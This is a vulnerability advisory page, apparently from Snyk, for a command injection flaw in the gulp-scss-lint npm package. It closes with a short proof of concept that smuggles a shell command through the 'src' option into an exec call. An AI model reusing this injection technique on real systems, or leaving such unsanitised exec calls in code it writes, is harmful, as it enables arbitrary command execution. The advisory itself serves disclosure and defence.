Command Injection Affecting gulp-scss-lint package, versions *


0.0
medium

Snyk CVSS

    Attack Complexity High
    Confidentiality High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.97% (83rd percentile)
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NVD
9.8 critical

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  • Snyk ID SNYK-JS-GULPSCSSLINT-560114
  • published 13 Mar 2020
  • disclosed 13 Mar 2020
  • credit JHU System Security Lab

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

gulp-scss-lint is a Lint your .scss files.

Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbitrary commands to the exec function located in src/command.js via the provided options.

PoC by JHU System Security Lab

var root = require("gulp-scss-lint");
var attack_code = "echo vulnerable > create.txt";
var opt = {
  "src": attack_code
}
root(opt);